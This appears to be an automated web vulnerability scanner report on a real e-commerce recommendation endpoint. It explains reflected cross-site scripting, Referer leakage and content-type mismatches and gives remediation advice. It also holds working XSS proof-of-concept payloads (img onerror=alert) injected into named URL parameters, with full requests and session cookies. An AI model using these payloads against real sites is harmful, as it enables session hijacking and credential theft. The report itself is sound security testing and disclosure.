Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the cb request parameter is copied into the HTML document as plain text between tags. The payload 783b4<img%20src%3da%20onerror%3dalert(1)>1d40facd3aa was submitted in the cb parameter. This input was echoed as 783b4<img src=a onerror=alert(1)>1d40facd3aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /ws/r2/Resonance.aspx?appid=randomhouse01&tk=686529694590717&ss=212207240983843&sg=1&pg=447216360829770&bx=true&vr=2.69&sc=cart_rr&ev=cart+display&ei=&ct=randomhousec01&no=4&cb=r1eh783b4<img%20src%3da%20onerror%3dalert(1)>1d40facd3aa&clk=&ur=http%3A//ecommerce.randomhouse.com/cart.do%3Ffrom%3Drandomhouse&plk=&rf= HTTP/1.1 Host: www.res-x.com Proxy-Connection: keep-alive Referer: http://ecommerce.randomhouse.com/cart.do?from=randomhouse User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=sy5xib45fjd4zxyswg3jzv45; NSC_wjq-Hspvq4=ffffffffc3a01e5345525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: CP="NOI DSP COR CUR PSA PSD OUR IND UNI" Date: Tue, 26 Apr 2011 22:09:46 GMT Content-Length: 2565
The value of the sc request parameter is copied into the HTML document as plain text between tags. The payload fe0e1<img%20src%3da%20onerror%3dalert(1)>1096c836d61 was submitted in the sc parameter. This input was echoed as fe0e1<img src=a onerror=alert(1)>1096c836d61 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /ws/r2/Resonance.aspx?appid=randomhouse01&tk=686529694590717&ss=212207240983843&sg=1&pg=447216360829770&bx=true&vr=2.69&sc=cart_rrfe0e1<img%20src%3da%20onerror%3dalert(1)>1096c836d61&ev=cart+display&ei=&ct=randomhousec01&no=4&cb=r1eh&clk=&ur=http%3A//ecommerce.randomhouse.com/cart.do%3Ffrom%3Drandomhouse&plk=&rf= HTTP/1.1 Host: www.res-x.com Proxy-Connection: keep-alive Referer: http://ecommerce.randomhouse.com/cart.do?from=randomhouse User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=sy5xib45fjd4zxyswg3jzv45; NSC_wjq-Hspvq4=ffffffffc3a01e5345525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: CP="NOI DSP COR CUR PSA PSD OUR IND UNI" Date: Tue, 26 Apr 2011 22:08:44 GMT Content-Length: 137
The response contains the following link to another domain:
http://go.microsoft.com/fwlink/?linkid=8180
Issue background
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /%22http://www.randomhouse.com/images/dyn/cover/?source=9780739372494&height=100&maxwidth=100&alternate=/images/dyn/cover/no_cover_50.gif;\%22 HTTP/1.1 Host: www.res-x.com Proxy-Connection: keep-alive Referer: http://www.res-x.com/ws/r2/Resonance.aspx?appid=randomhouse01&tk=686529694590717&ss=212207240983843&sg=1&pg=447216360829770&bx=true&vr=2.69&sc=cart_rr&ev=cart+display&ei=&ct=randomhousec01&no=4&cb=r1eh783b4%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E1d40facd3aa&clk=&ur=http%3A//ecommerce.randomhouse.com/cart.do%3Ffrom%3Drandomhouse&plk=&rf= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=2lhrgq454mpusu55p4rq3yzw; NSC_wjq-Hspvq4=ffffffffc3a01e5245525d5f4f58455e445a4a423660
Response
HTTP/1.1 404 Not Found Content-Length: 1635 Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Tue, 26 Apr 2011 23:24:41 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <HTML><HEAD><TITLE>The page cannot be found</TITLE> <META HTTP-EQUIV="Content-Type" Content="text/html; cha ...[SNIP]... <li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> ...[SNIP]...
The response contains the following Content-type statement:
Content-Type: text/plain; charset=utf-8
The response states that it contains plain text. However, it actually appears to contain script.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /ws/r2/Resonance.aspx?appid=randomhouse01&tk=686529694590717&ss=212207240983843&sg=1&pg=356199323432520&vr=3.5a&bx=false&ur=http%3A//www.randomhouse.com/&plk=130551;202418;110396;95663;111281;202915;;/210188%7C%7C;/6274%7C%7C;/79977%7C%7C;/168191%7C%7C;/201020%7C%7C;/98142%7C%7C;/212421%7C%7C;/212725%7C%7C;/108336%7C%7C;/2958600%7C%7C;/177036582343365%7C%7C;/201002%7C%7C;/2011%7C%7C;isbn%3D9780375868702%7C%7C;/50477974%7C%7C;isbn%3D9780679867098%7C%7C;isbn%3D9780307590619%7C%7C;/62939519539884000%7C%7C;/62904183661138000%7C%7C;/62891188457456000%7C%7C;&rf= HTTP/1.1 Host: www.res-x.com Proxy-Connection: keep-alive Referer: http://www.randomhouse.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3